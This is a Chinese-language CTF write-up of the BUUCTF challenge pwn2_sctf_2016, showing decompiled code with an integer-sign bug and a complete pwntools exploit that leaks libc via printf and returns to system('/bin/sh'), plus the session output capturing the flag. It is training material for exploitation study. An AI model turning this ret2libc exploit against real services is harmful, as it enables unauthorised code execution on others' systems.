我要学pwn.day16

pwn2_sctf_2016

潜心修炼,从基础开始

这是一道整数溢出加ROP的题


解题流程

1.查看文件保护
checksec pwn2_sctf_2016
[*] '/home/ctf/Downloads/pwnexercise/bjdctf_2020_babyrop/pwn2_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,开了NX,部分函数延迟绑定

2.运行程序
$ ./pwn2_sctf_2016 
How many bytes do you want me to read? 1
Ok, sounds good. Give me 1 bytes of data!
1
You said: 1

大概逻辑就是,输入一个数,读取输入数大小的内容

3.打开IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

main函数里没东西,然后继续

int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(nptr, 4);
  v2 = atoi(nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(nptr, v2);
  return printf("You said: %s\n", nptr);
}

和之前想的差不多,但是只判断了输入数的上界,没有判断下界,如果输入-1,那么再get_n的时候就会读取一个非常大的数

$ ./pwn2_sctf_2016 
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
11111111111
You said: 11111111111
4. 构造利用链
整数溢出
程序开始
利用printf泄露libc
回到main函数
利用ROP跳转system
5.编写Exp
# -*- coding:utf-8 -*-
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

context(os="linux", arch="i386")
# context.log_level="debug"

local = 0
elf = ELF('./pwn2_sctf_2016')
print_got=elf.got['printf']
print_plt=elf.plt['printf']
main_addr=0x80485B8

if local:
    pro = process('./pwn2_sctf_2016')
else:
    pro = remote('node4.buuoj.cn', 27020)


def get_libcbase():


    pro.sendlineafter('me to read? ','-1')

    #泄露printf的got地址

    payload = b'A'*(0x2C+4)+p32(print_plt)+p32(main_addr)+p32(print_got)

    pro.sendlineafter('of data!\n',payload)
    pro.recvuntil('\n')

    recv_addr=u32(pro.recv(4))
    log.info("recv_addr=0x%x"%recv_addr)

	# 利用泄露的printf函数地址计算libc基地址
	
    libc=LibcSearcher('printf',recv_addr)
    libc_base=recv_addr-libc.dump('printf')
    log.info('libc_base_addr:%x'%libc_base)
    return libc,libc_base

def get_shell(libc,libc_addr):
    pro.sendlineafter('me to read? ','-1')


    binsh=libc_addr+libc.dump('str_bin_sh')
    system=libc_addr+libc.dump('system')

    payload=b'A'*(0x2C+4)
    payload+=p32(system)+b'B'*4+p32(binsh)    

    pro.sendlineafter('of data!\n',payload)
    pro.interactive()


if __name__ == '__main__' :
    libc ,libc_addr = get_libcbase()
    get_shell(libc,libc_addr)

之前查看一些大佬的题解都是使用python2来完成的,为了学习,并锻炼自己的脚本能力,我的题解都使用python3完成。

6.获得flag
 $python3 pwn2_sctfExp.py 
[*] '/home/ctf/Downloads/pwnexercise/bjdctf_2020_babyrop/pwn2_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 27020: Done
pwn2_sctfExp.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pro.sendlineafter('me to read? ','-1')
/home/ctf/.local/lib/python3.7/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
pwn2_sctfExp.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pro.recvuntil('\n')
[*] recv_addr=0xf7e3c020
Multi Results:
 0: archive-old-eglibc (id libc6-i386_2.17-93ubuntu4_amd64)
 1: archive-glibc (id libc6-amd64_2.23-0ubuntu10_i386)
 2: archive-old-glibc (id libc6-amd64_2.8~20080505-0ubuntu7_i386)
 3: archive-old-eglibc (id libc6-i386_2.11.1-0ubuntu7.11_amd64)
 4: archive-old-glibc (id libc6_2.7-10ubuntu3_i386)
 5: archive-old-glibc (id libc6_2.9-4ubuntu6_amd64)
 6: archive-old-glibc (id libc6_2.8~20080505-0ubuntu9_amd64)
 7: archive-old-glibc (id libc6-amd64_2.8~20080505-0ubuntu9_i386)
 8: archive-old-eglibc (id libc6-i386_2.13-20ubuntu5.3_amd64)
 9: archive-old-glibc (id libc6-amd64_2.9-4ubuntu6_i386)
10: archive-old-eglibc (id libc6-i386_2.13-20ubuntu5_amd64)
11: archive-old-glibc (id libc6_2.8~20080505-0ubuntu7_amd64)
12: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
13: archive-glibc (id libc6_2.28-0ubuntu1_i386)
14: archive-old-glibc (id libc6-amd64_2.3.6-0ubuntu20.6_i386)
Please supply more info using 
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:12
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] libc_base_addr:f7df3000
pwn2_sctfExp.py:42: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pro.sendlineafter('me to read? ','-1')
[*] Switching to interactive mode
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xd9\xe2\xf7BBBB+\xc0\xf4\xf7
$cat flag
flag{856c2945-0a99-4d3d-b3e5-226b8af0c2b8}
[*] Closed connection to node4.buuoj.cn port 27020

打完收工

  • 16
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值